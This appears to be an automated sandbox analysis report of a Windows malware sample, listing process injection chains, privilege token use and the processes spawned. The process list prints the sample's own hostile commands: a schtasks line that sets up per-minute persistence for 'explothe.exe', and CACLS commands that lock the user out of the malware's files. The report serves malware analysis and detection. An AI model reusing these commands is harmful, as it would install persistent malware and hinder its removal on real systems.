N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\F793.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\source1.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\6FB5.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of UnmapMainImage

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4520 wrote to memory of 8 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe
PID 4520 wrote to memory of 8 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe
PID 4520 wrote to memory of 8 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe
PID 8 wrote to memory of 3804 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe
PID 8 wrote to memory of 3804 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe
PID 8 wrote to memory of 3804 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe
PID 3804 wrote to memory of 2124 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3804 wrote to memory of 2124 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3804 wrote to memory of 2124 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3804 wrote to memory of 5068 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3804 wrote to memory of 5068 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3804 wrote to memory of 5068 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3804 wrote to memory of 5068 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3804 wrote to memory of 5068 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3804 wrote to memory of 5068 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 8 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b2474707.exe
PID 8 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b2474707.exe
PID 8 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b2474707.exe
PID 2988 wrote to memory of 2628 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b2474707.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2988 wrote to memory of 2628 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b2474707.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2988 wrote to memory of 2628 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b2474707.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2988 wrote to memory of 2628 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b2474707.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2988 wrote to memory of 2628 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b2474707.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2988 wrote to memory of 2628 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b2474707.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2988 wrote to memory of 2628 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b2474707.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2988 wrote to memory of 2628 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b2474707.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2988 wrote to memory of 2628 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b2474707.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2988 wrote to memory of 2628 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b2474707.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4520 wrote to memory of 1436 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c9657920.exe
PID 4520 wrote to memory of 1436 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c9657920.exe
PID 4520 wrote to memory of 1436 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c9657920.exe
PID 3308 wrote to memory of 3848 N/A C:\Windows\Explorer.EXE C:\Users\Admin\AppData\Local\Temp\F2FB.exe
PID 3308 wrote to memory of 3848 N/A C:\Windows\Explorer.EXE C:\Users\Admin\AppData\Local\Temp\F2FB.exe
PID 3308 wrote to memory of 3848 N/A C:\Windows\Explorer.EXE C:\Users\Admin\AppData\Local\Temp\F2FB.exe
PID 3308 wrote to memory of 4344 N/A C:\Windows\Explorer.EXE C:\Users\Admin\AppData\Local\Temp\F425.exe
PID 3308 wrote to memory of 4344 N/A C:\Windows\Explorer.EXE C:\Users\Admin\AppData\Local\Temp\F425.exe
PID 3308 wrote to memory of 4344 N/A C:\Windows\Explorer.EXE C:\Users\Admin\AppData\Local\Temp\F425.exe
PID 3848 wrote to memory of 4128 N/A C:\Users\Admin\AppData\Local\Temp\F2FB.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WS5OY2lM.exe
PID 3848 wrote to memory of 4128 N/A C:\Users\Admin\AppData\Local\Temp\F2FB.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WS5OY2lM.exe
PID 3848 wrote to memory of 4128 N/A C:\Users\Admin\AppData\Local\Temp\F2FB.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WS5OY2lM.exe
PID 3308 wrote to memory of 868 N/A C:\Windows\Explorer.EXE C:\Users\Admin\AppData\Local\Temp\F4C2.bat
PID 3308 wrote to memory of 868 N/A C:\Windows\Explorer.EXE C:\Users\Admin\AppData\Local\Temp\F4C2.bat
PID 3308 wrote to memory of 868 N/A C:\Windows\Explorer.EXE C:\Users\Admin\AppData\Local\Temp\F4C2.bat
PID 4128 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WS5OY2lM.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\bB1Ol2hS.exe
PID 4128 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WS5OY2lM.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\bB1Ol2hS.exe
PID 4128 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WS5OY2lM.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\bB1Ol2hS.exe
PID 1160 wrote to memory of 1684 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\bB1Ol2hS.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\em6sS5Wk.exe
PID 1160 wrote to memory of 1684 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\bB1Ol2hS.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\em6sS5Wk.exe
PID 1160 wrote to memory of 1684 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\bB1Ol2hS.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\em6sS5Wk.exe
PID 1684 wrote to memory of 2936 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\em6sS5Wk.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\FY0Vk8iU.exe
PID 1684 wrote to memory of 2936 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\em6sS5Wk.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\FY0Vk8iU.exe
PID 1684 wrote to memory of 2936 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\em6sS5Wk.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\FY0Vk8iU.exe
PID 2936 wrote to memory of 4596 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\FY0Vk8iU.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1ZO32QK3.exe
PID 2936 wrote to memory of 4596 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\FY0Vk8iU.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1ZO32QK3.exe
PID 2936 wrote to memory of 4596 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\FY0Vk8iU.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1ZO32QK3.exe
PID 3308 wrote to memory of 1560 N/A C:\Windows\Explorer.EXE C:\Users\Admin\AppData\Local\Temp\F659.exe
PID 3308 wrote to memory of 1560 N/A C:\Windows\Explorer.EXE C:\Users\Admin\AppData\Local\Temp\F659.exe
PID 3308 wrote to memory of 1560 N/A C:\Windows\Explorer.EXE C:\Users\Admin\AppData\Local\Temp\F659.exe
PID 3308 wrote to memory of 1968 N/A C:\Windows\Explorer.EXE C:\Users\Admin\AppData\Local\Temp\F793.exe
PID 3308 wrote to memory of 1968 N/A C:\Windows\Explorer.EXE C:\Users\Admin\AppData\Local\Temp\F793.exe
PID 4344 wrote to memory of 428 N/A C:\Users\Admin\AppData\Local\Temp\F425.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4344 wrote to memory of 428 N/A C:\Users\Admin\AppData\Local\Temp\F425.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4344 wrote to memory of 428 N/A C:\Users\Admin\AppData\Local\Temp\F425.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4344 wrote to memory of 428 N/A C:\Users\Admin\AppData\Local\Temp\F425.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Users\Admin\AppData\Local\Temp\file.exe

"C:\Users\Admin\AppData\Local\Temp\file.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3804 -ip 3804

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3804 -s 152

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b2474707.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b2474707.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2988 -ip 2988

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2988 -s 152

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2628 -ip 2628

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2628 -s 540

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c9657920.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c9657920.exe

C:\Users\Admin\AppData\Local\Temp\F2FB.exe

C:\Users\Admin\AppData\Local\Temp\F2FB.exe

C:\Users\Admin\AppData\Local\Temp\F425.exe

C:\Users\Admin\AppData\Local\Temp\F425.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WS5OY2lM.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WS5OY2lM.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\bB1Ol2hS.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\bB1Ol2hS.exe

C:\Users\Admin\AppData\Local\Temp\F4C2.bat

"C:\Users\Admin\AppData\Local\Temp\F4C2.bat"

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\em6sS5Wk.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\em6sS5Wk.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\FY0Vk8iU.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\FY0Vk8iU.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1ZO32QK3.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1ZO32QK3.exe

C:\Users\Admin\AppData\Local\Temp\F659.exe

C:\Users\Admin\AppData\Local\Temp\F659.exe

C:\Users\Admin\AppData\Local\Temp\F793.exe

C:\Users\Admin\AppData\Local\Temp\F793.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Users\Admin\AppData\Local\Temp\F8BD.exe

C:\Users\Admin\AppData\Local\Temp\F8BD.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4344 -ip 4344

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\F5AA.tmp\F5AB.tmp\F5AC.bat C:\Users\Admin\AppData\Local\Temp\F4C2.bat"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4344 -s 192

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 1132 -ip 1132

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 1560 -ip 1560

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4596 -ip 4596

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4596 -s 572

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

"C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1560 -s 404

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1132 -s 540

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2kf426Vj.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2kf426Vj.exe

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Windows\SysWOW64\cacls.exe

CACLS "explothe.exe" /P "Admin:N"

C:\Windows\SysWOW64\cacls.exe

CACLS "explothe.exe" /P "Admin:R" /E

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\fefffe8cea" /P "Admin:N"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\fefffe8cea" /P "Admin:R" /E

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd91b846f8,0x7ffd91b84708,0x7ffd91b84718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

